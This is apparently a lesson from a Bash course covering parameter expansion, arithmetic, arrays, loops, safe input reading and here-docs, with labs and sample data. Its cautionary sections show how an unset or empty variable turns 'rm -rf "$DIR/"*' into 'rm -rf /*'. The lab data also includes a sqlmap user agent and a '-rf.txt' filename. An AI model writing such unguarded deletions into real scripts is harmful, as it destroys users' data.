Scene: a line in the terminal
$(basename "$f"), with a “fork + exec” counter popping up beside it; after ten thousand loop iterations the counter jumps to 10000.Narration: processing one variable does not require starting a process.
${v:-x},${v:=x},${v:?msg},${v:+x}), prefix and suffix trimming (#,##,%,%%), replacement (/,//), substring and length, case conversion, and @Q other transformations; be able to explain the difference between “with colon” and “without colon” (whether an empty value counts as “unset”).$(( )) and (( )) for integer arithmetic, avoiding three classic pitfalls: 08/09 is read as octal, Bash has only 64-bit signed integers (no floating point), and (( i++ )) returns a non-zero status when i is 0."${arr[@]}" and "${arr[*]}" ; know how an empty array behaves under set -u (since Bash 4.4 "${arr[@]}" no longer errors, while macOS’s built-in 3.2 still does).[[ ]] (pattern matching,=~ regex,BASH_REMATCH),test/[ ] (POSIX-portable),(( )) (numeric) and case (multi-branch pattern matching,;;,;&,;;&).for iterate over arrays instead of $(ls), C-style for (( )),while/until,break N/continue; know where to place redirections in a loop.IFS= read -r line, handle “a last line without a trailing newline”, split fields by delimiter,mapfile -t and read into an array; explain why cmd | while read variables changed inside it are “lost” after the loop, and how to use < <(cmd) or shopt -s lastpipe to fix it.<<EOF,<<'EOF',<<-EOF), here strings (<<<), and process substitution (<(…),>(…)), knowing whether at the kernel level they are pipes, temp files or /dev/fd/N.logstats.sh: count data/access.log ’s status-code distribution, 5xx ratio, top paths and top clients, and handle malformed lines.| # | Time | Module | Core content | Animations / interaction | Lab (~/bashlab) |
|---|---|---|---|---|---|
| 0 | Before class | Bridge and warm-up | Check the Bash version, generate or verify ~/bashlab/data/ the sample dataset, and set up this lesson’s directory ~/bashlab/part2 | Environment checklist | Version check + dataset check |
| 1 | 00–06 | Parameter expansion | Default-value operators, trimming, replacement, substring, length, case,@Q/@U transformations, indirect references | Core animation (part 1): parameter expansion simulator — how patterns match “shortest / longest” | Avoid calling basename/dirname/sed to handle file names and config defaults |
| 2 | 06–13 | Arithmetic and integer pitfalls | $(( )),(( )),let, base prefixes,10#, integer division and modulo, overflow, exit status | Arithmetic evaluator: how a constant’s base is recognized | Compute percentages, handle date +%m ’s leading 08 |
| 3 | 13–21 | Arrays and associative arrays | Declaring, appending, sparse indexes, slicing, deleting,"${a[@]}" vs "${a[*]}",declare -A, key iteration, empty arrays and set -u | Array slot visualization: memory and expansion results after each operation | servers.csv → count by environment |
| 4 | 21–28 | Conditionals | [[ ]] vs [ ]/test, string / numeric / file tests,=~ and BASH_REMATCH,-v,case and three terminators | Parsing the same expression under [ and [[ compared | Validate hostname, IP and environment arguments |
| 5 | 28–35 | Loops | for in,for (( )),while,until,break N,continue, loops with redirection,select | Loop control step executor (break / continue / break 2) | Retry-wait loop + iterate over oddly named files |
| 6 | 35–42 | Reading input safely | IFS= read -r, last line without newline, field splitting,-d '',mapfile -t,subshells in pipelines,lastpipe | Core animation (part 2): cmd | while read Why variables are lost (fork / pipe / subshell) | Read servers.csv line by line and summarize |
| 7 | 42–50 | Here documents, here strings and process substitution | Three here-doc forms,<<<,<(…)/>(…),/dev/fd, the 5.3 ${ cmd; } | Redirection wiring diagram: where fd 0 points | Generate config files, diff the output of two commands |
| 8 | 50–60 | Capstone exercise: log statistics tool | Use =~ to parse combined logs, count with associative arrays, sort numerically, pure Bash Top-N, bad-line handling, performance limits | Live log-stream statistics animation + interactive troubleshooting tree | logstats.sh |
| — | After class | Cheat sheet · Capstone lab | Write a pure Bash reporting script for servers.csv (group by environment / region, validate, output a here-doc report) | Final quiz (12 questions) | Capstone lab |
| Target skills | M1 | M2 | M3 | M4 | M5 | M6 | M7 | M8 | Key syntax / commands | Lab |
|---|---|---|---|---|---|---|---|---|---|---|
| String processing (parameter expansion) | ✓ | · | ✓ | ✓ | · | ✓ | · | ✓ | ${v##*/},${v%.*},${v//a/b},${v:-x} | M1 file name handling |
| Integer arithmetic | · | ✓ | ✓ | ✓ | ✓ | · | · | ✓ | $(( )),(( )),10#,printf '%d.%02d' | M2 percentages |
| Indexed arrays | · | · | ✓ | · | ✓ | ✓ | · | ✓ | a+=(),"${a[@]}",${#a[@]},${!a[@]} | M3, M6 |
| Associative arrays | · | · | ✓ | · | ✓ | · | · | ✓ | declare -A,(( m[$k]++ )),[[ -v m[$k] ]] | M3 group counting, M8 |
| Conditionals and pattern matching | ✓ | ✓ | · | ✓ | ✓ | ✓ | · | ✓ | [[ == ]],=~,BASH_REMATCH,case | M4 argument validation |
| Loops and control | · | ✓ | ✓ | · | ✓ | ✓ | · | ✓ | for,while,until,break 2 | M5 retry loop |
| Read input safely | · | · | ✓ | · | ✓ | ✓ | ✓ | ✓ | IFS= read -r,|| [[ -n $l ]],mapfile -t,-d '' | M6 CSV |
| Subshells and variable scope | · | · | · | · | ✓ | ✓ | ✓ | ✓ | < <(cmd),shopt -s lastpipe,$BASHPID | M6 animation + lab |
| Here-doc / process substitution | · | · | · | · | · | ✓ | ✓ | ✓ | <<'EOF',<<<,diff <(a) <(b) | M7 |
| Topic | Why not in this lesson | Where to learn |
|---|---|---|
| Command parsing flow, quoting rules, the order of the seven expansions, redirection basics, exit status | Covered in Lesson 1; used directly in this lesson | Lesson 1 |
Functions,local, nameref in depth, script structure and argument parsing (getopts), opsctl v0.1 | Belongs to “organizing code” | Lesson 3(this lesson’s M8 only uses the simplest functions) |
Strict mode set -euo pipefail : full rules, trap, locks, logging and retries | Requires mastering this lesson’s control flow first | Lesson 4 |
| Text tools such as awk / sed / grep / find / xargs, and how they divide the work with Bash | This lesson deliberately uses only Bash built-ins to understand the language itself | Lesson 5 (will rewrite this lesson’s logstats as opsctl logs report, then compare performance with awk) |
| JSON / YAML (jq, yq), HTTP calls | Belongs to external tools | Lesson 6 |
| bats testing, ShellCheck, shfmt | Engineering practices | Lesson 7 (this lesson mentions a few issues ShellCheck can find) |
| Bulk-configuring large numbers of servers | Beyond Bash’s comfort zone | Ansible, 8 hours |
~/bashlab/part2 , which does not modify system files.bash:5.3 corresponds to 5.3.20). Ubuntu 26.04 LTS ships Bash 5.3. Almost all syntax in this lesson behaves identically in Bash 5.2 / 5.1 / 4.4 , with differences marked separately (for example, the 5.3 additions ${ cmd; } and GLOBSORT, and the 5.1 addition ${v@U}). The /bin/bash that ships with macOS is 3.2 (a 2007 release): no associative arrays (declare -A introduced in 4.0), no mapfile (4.0), no ${v,,}/${v^^} (4.0), no ;&/;;& (4.0), and an empty array under set -u errors (fixed only in 4.4); macOS users should install brew install bash and use #!/usr/bin/env bash.linuxlab virtual machine (Ubuntu 26.04, Bash 5.3), Ubuntu in WSL2, macOS + brew install bash, or a container docker run --rm -it -v "$PWD":/work -w /work bash:5.3 (the official image is based on Alpine and has only BusyBox tools; this lesson uses only Bash built-ins, so that is plenty).~/bashlab; the data-generation script provided by Lesson 1’s setup ~/bashlab/make-data.sh It will generate files in ~/bashlab/data/ : access.log,servers.csv,inventory.json,config.yaml and files/.$?.~/bashlab/part2 ; any command with rm commands only target this directory. After class, if you want to clean up: rm -rf -- ~/bashlab/part2 (the dataset ~/bashlab/data ; later lessons still need it, so keep it).echo "$BASH_VERSION"
bash --version | head -n 1
type -a bash # there may be several: /usr/bin/bash, /opt/homebrew/bin/bash …
printf '%s\n' "${BASH_VERSINFO[@]:0:3}"
(( BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4) )) && echo "OK: ≥ 4.4" || echo "Version too old, please upgrade"
5.3.N(1)-release GNU bash, version 5.3.N(1)-release (x86_64-pc-linux-gnu) bash is /usr/bin/bash bash is /bin/bash 5 3 N OK: ≥ 4.4
The Ubuntu 26.04 package version is bash 5.3-2ubuntu1 (verified on Launchpad), and the number of upstream patches it includes is given by bash --version (distribution patch cadence differs from upstream 5.3.20). The machine used to verify the snippets in this courseware runs Bash 5.2.37. If you see on macOS 3.2.57(1)-release, it means you are using the old system-bundled version: first install brew install bash, then use /opt/homebrew/bin/bash (Apple Silicon) or /usr/local/bin/bash (Intel) to run this lesson’s scripts. BASH_VERSINFO is a read-only array; Module 3 covers array subscripts in detail.
cd ~/bashlab ls -l make-data.sh # if there is no data/, run the Lesson 1 generator script (deterministic: byte-identical on any machine) [[ -d data ]] || bash ./make-data.sh head -n 3 data/servers.csv wc -l data/access.log data/servers.csv cksum data/access.log data/servers.csv # compare with the checksums given in Lesson 1
name,env,region,ip,role web-01,dev,canadacentral,10.10.1.21,web api-01,dev,canadacentral,10.10.1.22,api 611 data/access.log 13 data/servers.csv 624 total 80306651 79109 data/access.log 3087317886 526 data/servers.csv
The checksums match Lesson 1, so your dataset is byte-identical to all the “actual run results” in this lesson. If they differ, go back to Lesson 1 and check that make-data.sh was pasted completely (common causes: CRLF line endings, or an editor replacing the quotes).
Data format conventions used in this lesson (consistent across all 8 lessons):
access.log: the nginx / gunicorn combined format—IP ident user [time] "method path protocol" status code bytes "Referer" "User-Agent"; 611 lines, time 17/Nov/2026 10:00:01–10:31:00 UTC; methods GET 524 / POST 87; status codes 200×450, 201×54, 301×12, 302×19, 304×22, 400×11, 401×6, 404×9, 500×12, 502×4, 503×12 (5xx total 28, 4xx total 26); paths /api/orders 211, /healthz 121 (UA kube-probe/1.37), / 75, /login 74, /api/orders/1042 67, /static/app.js 63; lines 151–156 are 6 consecutive requests from 198.51.100.23 POST /login all 401; line 307’s User-Agent contains an apostrophe and \x22. Pitfall: line 52 is a 201 response with exactly 506 bytes, so grep ' 50[0-9] ' gives 29 instead of 28, so the quote characters must be anchored '" 50[0-9] ' (Module 7 lab).servers.csv: header line name,env,region,ip,role plus 12 rows (dev 3, staging 3, prod 6); region Values canadacentral|ca-central-1; Line 11 edge-01,prod,ca-central-1,10.30.2.51,"web,api" has a quoted field containing a comma, specifically to demonstrate the limits of splitting CSV with IFS=,; hostnames repeat across environments (web-01 exists in all three).files/: 15 “weird” file names (tabs, newlines,-n,--verbose.log,star*.txt, trailing spaces,.hidden.txt,sub dir/nested file.log etc.; used in Modules 5 and 6).~/bashlab/env.sh (source then export BASHLAB_HOME,BASHLAB_DATA) and ~/bashlab/dataset-check.sh (dataset verification).ls -1b ~/bashlab/data/files # -b: show invisible characters with escapes ls -A ~/bashlab/data/files | wc -l # counting lines to “count files” gives the wrong answer
--verbose.log -n [draft]\ notes.md café-ünïcode.txt it's.txt line1\nline2.txt price\ $5.txt report\ 2026.txt say\ "hi".txt star*.txt sub\ dir tab\there.txt trailing-space.txt\ two\ \ spaces.txt 16
15 entries (including hidden .hidden.txt and sub dir entries),wc -l but counted 16 — because line1\nline2.txt has a newline in its name. This is exactly why handling file names line by line is unreliable (Modules 5 and 6).
The commands below only run in ~/bashlab/data-mini/ and write the small sample there, without overwriting the official dataset; when using it, export DATA=~/bashlab/data-mini. It is itself an example of the here document covered in Module 7.
mkdir -p ~/bashlab/data-mini/files && cd ~/bashlab/data-mini [[ -e access.log ]] || cat > access.log <<'EOF' 203.0.113.7 - - [17/Nov/2026:10:00:01 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "curl/8.12.1" 198.51.100.23 - - [17/Nov/2026:10:00:02 +0000] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0 Safari/537.36" 198.51.100.23 - - [17/Nov/2026:10:00:03 +0000] "POST /login HTTP/1.1" 302 0 "https://shop.example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_6) \"quoted\" agent" 192.0.2.44 - - [17/Nov/2026:10:00:05 +0000] "GET /api/orders HTTP/1.1" 200 1534 "-" "python-requests/2.32.5" 192.0.2.44 - - [17/Nov/2026:10:00:06 +0000] "GET /api/orders HTTP/1.1" 500 87 "-" "python-requests/2.32.5" 203.0.113.7 - - [17/Nov/2026:10:00:11 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "curl/8.12.1" 198.51.100.99 - - [17/Nov/2026:10:00:12 +0000] "GET /admin HTTP/1.1" 404 153 "-" "sqlmap/1.9" 192.0.2.44 - - [17/Nov/2026:10:00:13 +0000] "POST /api/orders HTTP/1.1" 201 45 "-" "python-requests/2.32.5" 198.51.100.23 - - [17/Nov/2026:10:00:14 +0000] "GET /login HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 192.0.2.44 - - [17/Nov/2026:10:00:15 +0000] "GET /api/orders HTTP/1.1" 503 0 "-" "python-requests/2.32.5" EOF [[ -e servers.csv ]] || cat > servers.csv <<'EOF' name,env,region,ip,role web-01,prod,canadacentral,10.10.1.11,web web-02,prod,ca-central-1,10.20.1.12,web api-01,staging,canadacentral,10.10.2.21,api db-01,prod,canadacentral,10.10.3.31,db build-01,dev,ca-central-1,10.20.9.9,"build, test" EOF touch -- 'files/report 2026.txt' 'files/-rf.txt' $'files/line\nbreak.txt'
$'…' is the ANSI-C quoting covered in Lesson 1; touch -- in the -- means “end of options”. The Module 8 animation uses exactly these 10 lines.
mkdir -p ~/bashlab/part2 && cd ~/bashlab/part2 export DATA=~/bashlab/data # all labs in this lesson reference the dataset through $DATA echo "DATA=$DATA"; ls "$DATA"
DATA=/home/labadmin/bashlab/data access.log config.yaml files inventory.json servers.csv
If you have already set up source ~/bashlab/env.sh (Lesson 1), you can also write export DATA=$BASHLAB_DATA.
$(( )),[[ ]],read,mapfile,printf built-in commands), unaffected; a few external commands shown for comparison (sort,seq,cut) may differ from GNU in rare edge-case behaviour; if they differ, defer to --version the output and the corresponding project documentation.echo $file and echo "$file" ?Without quotes, the result of parameter expansion still undergoes word splitting (by IFS) and pathname expansion (globbing), so values containing spaces or * are split or expanded into a list of files; double quotes keep the result as one word. Every expansion in this lesson is double-quoted by default, unless you explicitly need splitting.
a | b | c — how many processes are involved, and how do they relate to the current shell?Each command runs in its own subprocess (external commands fork and then exec; built-in and compound commands run in a forked subshell), and the current shell waits for them to finish. The core animation in Module 6 demonstrates that precisely because while loop runs in a subshell, so variables modified inside it are “lost”.
${v:-x} (use default),${v:=x} (assign default),${v:?msg} (error and exit),${v:+x} (replace if set), and the difference when the colon is dropped: “only unset counts as missing; an empty string counts as set”.#/## to remove prefixes,%/%% to remove suffixes (one symbol = shortest match, two symbols = longest match), and to split out directory, file name, extension and URL parts.${v/p/r},${v//p/r},${v/#p/r},${v/%p/r} for replacement; ${v:off:len} Extract substrings (negative offsets need a space or parentheses before them); ${#v} get the length.${v^},${v^^},${v,,} and transformation operators ${v@Q} (safe quoting, suitable for logs),${v@U} (5.1+),${v@a} (attributes); know indirect references ${!name} and ${!prefix*}.Parameter expansion is one of Bash’s seven expansions; its syntax starts with $ , wraps the name in braces, and lets you transform the value as it is read: ${nameoperator…}. It happens inside the current shell process, without creating a child process. According to the Bash manual, it runs in the same stage as tilde, arithmetic and command substitution, processed left to right; only afterwards come word splitting and pathname expansion, which is why expansion results should be double-quoted.
| Category | Syntax | Meaning | Example (f=/var/log/app.log.gz) |
|---|---|---|---|
| Default / check | ${v:-word} | v is unset or empty, the result is word (v itself unchanged) | ${PORT:-8080} |
${v:=word} | Same as above, and also store word into v (not for positional or special parameters) | : "${LOG_LEVEL:=info}" | |
${v:?msg} | When v is unset or empty, write msg to stderr; a non-interactive shell exits immediately (observed exit code 1) | : "${DATA:?please export DATA first}" | |
${v:+word} | result is word when v has a non-empty value, otherwise empty | curl ${VERBOSE:+-v} … | |
| Remove prefix / suffix | ${v#pat} | Remove from the start the shortest part matching pat | ${f#*/} → var/log/app.log.gz |
${v##pat} | Remove from the start the longest match | ${f##*/} → app.log.gz (file name) | |
${v%pat} | Remove from the end the shortest match | ${f%/*} → /var/log (directory) | |
${v%%pat} | Remove from the end the longest match | ${f%%.*} → /var/log/app | |
| Replace | ${v/pat/rep} | Replace the first (longest) match | ${f/log/LOG} → /var/LOG/app.log.gz |
${v//pat/rep} | Replace all matches | ${f//log/LOG} → /var/LOG/app.LOG.gz | |
${v/#pat/rep} | Match at the start only | ${f/#\/var/\/srv} → /srv/log/app.log.gz | |
${v/%pat/rep} | Match at the end only | ${f/%.gz/.zst} | |
| Substring and length | ${v:off:len} | Take len characters starting at off (counting from 0); when off is negative, count from the end,a space or parentheses is required before the minus sign | ${f: -6} → log.gz |
${#v} | Character count (counted in characters in multibyte locales) | ${#f} → 19 | |
| Case (4.0+) | ${v^} / ${v^^} | Initial / all uppercase | prod → Prod / PROD |
${v,} / ${v,,} | Initial / all lowercase | Often used for case-insensitive comparison | |
Transform @op | ${v@Q} (4.4+) | Output in a quoted form that can safely be fed back to the shell as input | it's → 'it'\''s' |
${v@U} @u @L (5.1+),@a,@E,@P,@A,@K | uppercase, initial capital, lowercase; attribute flags; backslash-escape expansion; prompt expansion; assignment statements; key-value pairs | declare -i n; ${n@a} → i | |
| Indirect | ${!name},${!prefix*} | use the value of name as the variable name and read it; list variable names starting with prefix | ${!APP_*} → APP_ENV APP_REGION |
$(basename "$f") Each call forks a subshell and then execs an external program; processing ten thousand file names in a loop means ten thousand forks and execs. Parameter expansion runs inside the current process and is two to three orders of magnitude faster (Lesson 5 measures this).$(basename …) gives the wrong result; parameter expansion does not.#,##,%,%%,:-,:=,:?,:+,${#v} are all POSIX sh part of the standard, also available in dash and BusyBox ash; replacement /, substring :off:len, case conversion and @op are Bash (and ksh/zsh) extensions.#,%,/ The pattern after pat is a glob pattern, not a regular expression: * matches any string,? matches a single character,[…] matches a character set (for example [![:space:]]); enable shopt -s extglob , then you can also use +(…),@(a|b) and so on. The pattern itself is also expanded first: ${g//$f/X} In $f , if it contains * , it is treated as a wildcard; write it as ${g//"$f"/X} to match it literally.
The only difference between “with colon” and “without colon” is: with the colon, an empty string also counts as missing.
| State of v | ${v-d} | ${v:-d} | ${v+a} | ${v:+a} |
|---|---|---|---|---|
| Unset | d | d | (empty) | (empty) |
Set to empty v= | (empty) | d | a | (empty) |
Non-empty v=x | x | x | a | a |
${v+set} is the classic way to check whether a variable is set under set -u (since Bash 4.2 [[ -v v ]] also works, see Module 4).
: "${DATA:?}",port=${1:-8080}.cut,awk .log "received argument ${arg@Q}", where spaces, newlines and quotes are obvious.read or [[ =~ ]], see Modules 4 and 6), and line-by-line replacement in large files (use sed/awk, Lesson 5).| Need | Parameter expansion | External command | Difference |
|---|---|---|---|
| File name | ${f##*/} | basename "$f" | When it ends in / , ${f##*/} gives an empty result, while basename first strips the trailing slash |
| Directory | ${f%/*} | dirname "$f" | When it does not contain / , ${f%/*} the value is returned unchanged; dirname returns . (observed). |
| Replacement | ${s//,/ } | sed 's/,/ /g' <<<"$s" | Parameter expansion uses glob, sed uses regex; for a single variable, parameter expansion is faster |
| Uppercase | ${s^^} | tr a-z A-Z | ^^ Follows the current locale |
| Default values | ${v:-d} | if [ -z "$v" ]; then v=d; fi | Functionally equivalent, with more concise expansion |
${v#pat} — the pat in it is a regex”—it is a glob,. just plain characters,* only the wildcard means “any string”. ② “${v:-x} assigns to v”—no, only := does. ③ “${s:-3} takes the last 3 characters”—this is “default value” syntax! Write ${s: -3} or ${s:(-3)}④ “In a replacement, the & is a plain character”—since Bash 5.2, patsub_replacement is enabled by default, so in the replacement string an unquoted & stands for the matched text (${s/web/[&]} → [web]-01, verified). To get a literal, write \& or quote the replacement. ⑤ “Parameter expansion results do not need quotes”—they are still subject to word splitting and globbing, unless on the right side of an assignment or [[ ]] inside.${v:-$(expensive)} does not run command substitution when v has a valueEnter a variable value, choose an operator and a pattern, then click “Step through”. The simulator follows Bash’s real rules: # It tries prefixes of length 0, 1, 2… from the left; the first one matching the glob pattern is the “shortest”; ## starts from the whole string and shortens it; the first match is the “longest”; %/%% does the same for suffixes; / finds the longest match at each starting point. The log below gives the equivalent Bash commands and results (results are computed by JS using the same rules; you can copy the commands into a terminal to compare).
access.log.gz try % and %% with the pattern .*: the shortest suffix removes only .gz, the longest suffix removes .log.gz. Then switch the state to “set to empty” and compare :- with -: only the colon version treats the empty string as missing.path=/var/log/nginx/access.log.2026-11-17.gz
echo "Directory: ${path%/*}"
echo "File name: ${path##*/}"
name=${path##*/} # no quotes needed on the right side of an assignment (no splitting or globbing)
echo "Strip .gz: ${name%.gz}"
echo "Base name: ${name%%.*}"
echo "All extensions: ${name#*.}"
echo "Last extension: ${name##*.}"
echo "Date part: ${name:11:10}"
echo "Length: ${#name}"
Directory: /var/log/nginx File name: access.log.2026-11-17.gz Strip .gz: access.log.2026-11-17 Base name: access All extensions: log.2026-11-17.gz Last extension: gz Date part: 2026-11-17 Length: 24
url="https://api.example.com:8443/v1/orders?id=42"
proto=${url%%://*} # remove longest suffix "://*"
rest=${url#*://} # remove shortest prefix "*://"
hostport=${rest%%/*}
host=${hostport%:*}
port=${hostport##*:}
pathq=/${rest#*/}
echo "$proto | $host | $port | $pathq | ${pathq%%\?*}" # \? makes ? a literal character
https | api.example.com | 8443 | /v1/orders?id=42 | /v1/orders
unset ENV_NAME; echo "1: ${ENV_NAME:-dev}"
ENV_NAME=""; echo "2: [${ENV_NAME-dev}] [${ENV_NAME:-dev}]"
unset LOG_LEVEL; : "${LOG_LEVEL:=info}"; echo "3: $LOG_LEVEL" # ":" is the null command, used only to trigger the expansion
DEBUG=1; echo "4: [${DEBUG:+--verbose}]"
unset DEBUG; echo "5: [${DEBUG:+--verbose}]"
msg=" hello world "
t=${msg#"${msg%%[![:space:]]*}"}; t=${t%"${t##*[![:space:]]}"}; echo "6: [$t]" # pure Bash trim
s="web-01,prod,canadacentral"
echo "7: ${s//,/ | }"
echo "8: ${s/#web/WEB} ${s/%central/CENTRAL}"
v="prod"; echo "9: ${v^} ${v^^} ${v@U} ${v@u}"
x="it's"; echo "10: ${x@Q}"
arr=(a "b c"); echo "11: ${arr[@]@Q}"
declare -i n=5; echo "12: ${n@a}"
echo "13: ${s:(-12)} ${s: -12:6}"
1: dev 2: [] [dev] 3: info 4: [--verbose] 5: [] 6: [hello world] 7: web-01 | prod | canadacentral 8: WEB-01,prod,canadacentral web-01,prod,canadaCENTRAL 9: Prod PROD PROD Prod 10: 'it'\''s' 11: 'a' 'b c' 12: i 13: anadacentral anadac
Line 6 explained:${msg%%[![:space:]]*} Remove the “longest suffix starting from the first non-whitespace character”; what remains is the leading whitespace; then use # to remove it from the start. The inner expansion is quoted, so the leading whitespace is matched literally rather than as a pattern. How to verify: At suspicious spots, use declare -p variable or printf '[%s]\n' "$v" print it and see the leading and trailing whitespace. Common mistake:${s:-12} writing default-value syntax. Production use: Declare config defaults centrally at the top of the script: : "${RETRIES:=3}" "${TIMEOUT:=10}".
printf 'unset need\n: "${need:?need is required}"\necho after\n' > need.sh
bash need.sh; echo "rc=$?"
APP_ENV=prod APP_REGION=canadacentral
echo "${!APP_*}" # variable names starting with APP_
ref=APP_ENV; echo "${!ref}" # indirect lookup (the Lesson 3 nameref is the better approach)
need.sh: line 2: need: need is required rc=1 APP_ENV APP_REGION prod
| Syntax | Effect | Note |
|---|---|---|
: "${V:?msg}" | Required check; the script exits on failure | In an interactive shell it only reports the error and does not exit; if msg is omitted, Bash prints “parameter null or not set” |
${V:-$(cmd)} | Runs cmd only if V is empty | word is expanded lazily |
${V//"$x"/y} | Replace the value of x literally | When unquoted, the * ? [ in x is treated as a pattern |
printf -v out '%s' "${V@Q}" | Store the safely quoted result in a variable | Good for building commands that will be eval or parsed again by a remote ssh shell |
~/bashlab/part2 , without calling basename / dirname / sed / cut, parse log file names and do a “rename dry run”.
cd ~/bashlab/part2 && mkdir -p m1/logs && cd m1 for d in 15 16 17; do : > "logs/access.log.2026-11-$d.gz"; done : > "logs/error log.2026-11-17.gz" # file name containing spaces ls logs
access.log.2026-11-15.gz access.log.2026-11-16.gz access.log.2026-11-17.gz 'error log.2026-11-17.gz'
GNU ls shows names containing spaces in quotes in the terminal; the names themselves have no quotes.
for f in logs/*.gz; do
base=${f##*/} # access.log.2026-11-17.gz
kind=${base%%.*} # access
stem=${base%.gz} # access.log.2026-11-17
date=${stem##*.} # 2026-11-17
printf '%-10s %s (%s)\n' "${kind@Q}" "$date" "$base"
done
'access' 2026-11-15 (access.log.2026-11-15.gz) 'access' 2026-11-16 (access.log.2026-11-16.gz) 'access' 2026-11-17 (access.log.2026-11-17.gz) 'error log' 2026-11-17 (error log.2026-11-17.gz)
access.log.DATE.gz to DATE/access.log.gz layout; print the commands only at first.
for f in logs/*.gz; do
base=${f##*/}; stem=${base%.gz}; date=${stem##*.}; newbase=${stem%.*}.gz
printf 'mkdir -p %q && mv -- %q %q\n' "logs/$date" "$f" "logs/$date/${newbase// /_}"
done
mkdir -p logs/2026-11-15 && mv -- logs/access.log.2026-11-15.gz logs/2026-11-15/access.log.gz mkdir -p logs/2026-11-16 && mv -- logs/access.log.2026-11-16.gz logs/2026-11-16/access.log.gz mkdir -p logs/2026-11-17 && mv -- logs/access.log.2026-11-17.gz logs/2026-11-17/access.log.gz mkdir -p logs/2026-11-17 && mv -- logs/error\ log.2026-11-17.gz logs/2026-11-17/error_log.gz
printf %q and ${v@Q} do the same: output a form that the shell can safely parse again. After checking, pass the output to bash to run (… | bash), or remove printf and use the real command. ${newbase// /_} Also replace spaces with underscores.
cat > conf.sh <<'EOF'
#!/usr/bin/env bash
: "${DATA:?please export DATA=~/bashlab/data first}"
: "${ENV_NAME:=dev}" "${RETRIES:=3}"
region=${1:-canadacentral}
echo "env=$ENV_NAME region=$region retries=$RETRIES data=${DATA/#$HOME/\~}${VERBOSE:+ (verbose)}"
EOF
chmod +x conf.sh
./conf.sh
ENV_NAME=prod VERBOSE=1 ./conf.sh ca-central-1
env -u DATA ./conf.sh; echo "rc=$?"
env=dev region=canadacentral retries=3 data=~/bashlab/data env=prod region=ca-central-1 retries=3 data=~/bashlab/data (verbose) ./conf.sh: line 2: DATA: please export DATA=~/bashlab/data first rc=1
${DATA/#$HOME/\~} Replace the leading home directory with ~ for display. If DATA is not exported (just a shell variable), the child process conf.sh cannot see it — go back to Module 0 and use export DATA=….
shellcheck conf.sh (if installed) should show no warnings. Clean up: cd ~/bashlab/part2 && rm -rf -- m1.Problem: The script uses name=$(basename "$dir").tar.gz to generate the archive name; the call passed /etc/, and the result was OK; later it was changed to name=${dir##*/}.tar.gz to speed things up, passing /etc/ gives .tar.gz— a hidden file, so monitoring assumed no backup had been created. Fix: first normalize the trailing slash dir=${dir%/} (for multiple slashes, use shopt -s extglob; dir=${dir%%+(/)}), then take the file name; for the root directory / handle separately. Limitation: Parameter expansion does not understand path semantics (.., symbolic links). For a canonical path, use realpath.
Problem:rm -rf "$STAGING_DIR/"* In STAGING_DIR when unset becomes rm -rf /* (this kind of accident has happened in real open-source projects, for example the 2015 Steam for Linux rm -rf "$STEAMROOT/"* issue). Fix: Use "${STAGING_DIR:?}" to abort immediately on an empty value: rm -rf -- "${STAGING_DIR:?}"/*; Lesson 4’s set -u is the second line of defense. Limitation::? It only blocks “empty”; it cannot block “wrong but non-empty” values. Before high-risk deletes, also check the path prefix (for example, it must begin with /srv/staging/ ).
Problem: The deploy script reported “environment prod does not exist”; the log showed env=prod, and after half an hour of troubleshooting we found the value was prod\r (read from a CSV edited on Windows). Fix: Always log with ${v@Q} or printf %q: they show as $'prod\r'; when reading, use ${v%$'\r'} to strip the carriage return. Limitation:@Q Requires Bash 4.4+; on macOS 3.2, use printf %q.
Cause::- It is parsed as the “default value” operator; s is non-empty, so it is returned unchanged. Fix:${s: -3} (add a space after the colon) or ${s:(-3)}.
s=abcdef; echo "${s:-3} | ${s: -3} | ${s:(-3)}"
abcdef | def | def
Cause: The script is run by Bash 3.2 (the macOS default) or is not Bash at all (sh script.sh — on Ubuntu it calls dash). Case conversion needs Bash 4.0,@U needs 5.1.
ps -p $$ -o comm=; echo "${BASH_VERSION:-not bash}"; head -1 script.sh
Fix: Write the shebang as #!/usr/bin/env bash, and run with bash script.sh or ./script.sh , not sh script.sh; on macOS, install a newer Bash.
Cause:${DATA:?} The check failed: DATA is unset or empty. Common when running under cron / systemd, which do not read your interactive shell configuration. Fix: Pass it explicitly from the caller (DATA=/srv/data ./script.sh), or give a default in the script ${DATA:=/srv/data}; give :? an actionable hint.
Cause:%.* It removes the shortest “dot followed by anything” suffix. For a hidden file, .bashrc the whole name matches; for double extensions only the last segment is removed. Fix: Define the rule explicitly: for known extensions, write ${f%.tar.gz}; for hidden files, check first [[ $f == .* ]].
Cause: Since Bash 5.2, patsub_replacement is on by default, so in the replacement string & stands for the matched text; scripts behave differently when moving from 5.1 to 5.2+. Fix: Quote the replacement string "${s/x/"$rep"}" or escape \&; if needed, shopt -u patsub_replacement.
s=web-01; echo "${s/web/[&]}"; echo "${s/web/[\&]}"
[web]-01 [&]-01
Cause: An unquoted $pat in the pattern position is treated as a glob. pat='a*b' It will match a.b axb the whole string. Fix:${g//"$pat"/X}. Verified: g="a.b axb"; pat='a*b' when unquoted, the result is X, and when quoted, the original string.
img=registry.example.com:5000/team/api:1.4.2, using only parameter expansion, extract the registry address, image name (team/api) and the tag.img=registry.example.com:5000/team/api:1.4.2
registry=${img%%/*} # registry.example.com:5000
rest=${img#*/} # team/api:1.4.2
tag=${rest##*:} # 1.4.2
repo=${rest%:*} # team/api
echo "$registry $repo $tag"Note that the registry address also contains a colon, so first split on / , then split on : ; the image name may carry a digest (@sha256:…), which must be handled first in production @.
dev, and converts it to lowercase.env_name=${1:-dev}
env_name=${env_name,,}cleanup_dir=${CLEANUP_DIR-/tmp/build} and then rm -rf "$cleanup_dir"/*. The CI system set CLEANUP_DIR to an empty string. What happens? How should it be fixed?Without the colon, - the default is used only when unset; an empty string counts as set, so cleanup_dir is empty, and the command becomes rm -rf /*. Change it to ${CLEANUP_DIR:-/tmp/build}, and before deleting, use "${cleanup_dir:?}" as a second guard, and ideally also check the path prefix (for example, it must be inside the workspace).
This courseware cannot directly generate video or MP3; the storyboard and narration below can be given to a video tool to produce.
